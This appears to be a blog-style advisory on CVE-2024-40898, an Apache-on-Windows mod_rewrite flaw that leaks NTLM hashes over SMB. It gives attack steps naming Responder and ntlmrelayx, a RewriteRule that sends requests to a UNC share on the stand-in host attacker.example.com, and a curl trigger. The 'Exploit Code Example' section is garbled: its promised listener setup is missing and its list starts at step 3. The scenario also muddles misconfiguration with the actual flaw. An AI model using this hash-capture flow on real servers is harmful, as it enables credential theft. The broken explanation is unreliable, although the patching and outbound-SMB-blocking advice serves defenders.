A new security flaw has been discovered in the Apache HTTP Server, specifically for Windows environments, leveraging the mod_rewrite module in server or virtual host context. Labeled as CVE-2024-40898, this bug can allow attackers to perform Server-Side Request Forgery (SSRF). What makes it even more dangerous is its capability to leak sensitive NTLM authentication hashes from the target Windows machine to a remote attacker-controlled server. If you run Apache on Windows, you need to understand this threat and fix it right now.

Quick Recap: What is SSRF?

SSRF (Server-Side Request Forgery) is a type of vulnerability where an attacker tricks the server into making HTTP requests to domains or IPs chosen by the attacker. This can be used to access internal services or, as in this case, send sensitive network authentication information (like NTLM hashes) out into the wild.

Why NTLM Hashes Matter

NTLM is an authentication protocol used in Windows environments. If an attacker gets a copy of even a hashed password, it makes it possible to brute force or relay the credentials, which could lead to further network compromise.

How Does CVE-2024-40898 Work?

This vulnerability happens because when you use mod_rewrite rules at the server or VirtualHost level (server/vhost context), Apache may resolve external URLs over SMB (using UNC paths like \\server.example.com\share) due to misconfiguration or crafted requests. On Windows, requesting such a path triggers an NTLM authentication negotiation, sending the Windows user's hashed credentials to an external server.

Attack Process

1. Set Up Malicious Server: The attacker controls a server capable of capturing NTLM authentication attempts (e.g., using tools like Responder, ntlmrelayx, or Impacket).
2. Send Malicious Request: The attacker sends a crafted request to the victim’s Apache server, which triggers a rewrite rule involving a UNC path.
3. Victim Apache Connects Out: Apache tries to access the attacker’s server, triggering NTLM authentication.
4. Attacker Captures Hash: The attacker records the leaked NTLM hash and can attempt relay or offline cracking.

Example Scenario

Suppose you have the following mod_rewrite configuration in your Apache’s global httpd.conf or a vhost:

RewriteEngine On
RewriteRule ^/foo/(.*)$ \\attacker.example.com\share\$1 [P]

When the server receives a request to /foo/file.txt, it tries to proxy or access

\\attacker.example.com\share\file.txt

On Windows, this reaches out to the external server with NTLM negotiation, leaking a hash.

Exploit Code Example

Let’s say you have Apache set up as explained above. Here’s how an attacker would set up a listener and trigger the leak:

`bash

curl http://victim-apache-server/foo/test.txt

`

3. Check your Responder logs: You'll see the NTLMv2 hashes rolling in from the victim’s Windows server process (usually running as SYSTEM or service account).

References

- Apache HTTP Server CVE-2024-40898 Advisory
- mod_rewrite official documentation
- NTLM Authentication info
- Impacket ntlmrelayx GitHub
- Responder GitHub

Mitigation & Recommendations

- Update Immediately: Upgrade to Apache HTTP Server 2.4.62 or later. This update contains a fix for this vulnerability.
- Review Rewrite Rules: Avoid using UNC paths (\\server\share) in mod_rewrite rules, especially in server or vhost context.
- Restrict Outbound Traffic: Where possible, block outbound SMB traffic (ports 445, 139) from your web server to prevent leaking NTLM hashes.
- Monitor for Unusual Auth: Check your outbound logs and authentication attempts for any suspicious activity pointing at your Apache servers.

Conclusion

This vulnerability is a stark reminder of how server-side components can leak critical information even through “simple” misconfigurations. If you operate Apache HTTP Server on Windows, check your configuration for rewrite rules, update your server, and monitor your traffic for signs of attack. NTLM hash leaks can lead to serious breaches—don’t wait to patch.

Further Reading

- CVE-2024-40898 at NVD
- Official Apache release notes


*Feel free to share or link to this exclusive summary for your IT and SecOps teams!*

Timeline

Published on: 07/18/2024 10:15:03 UTC
Last modified on: 08/08/2024 16:02:40 UTC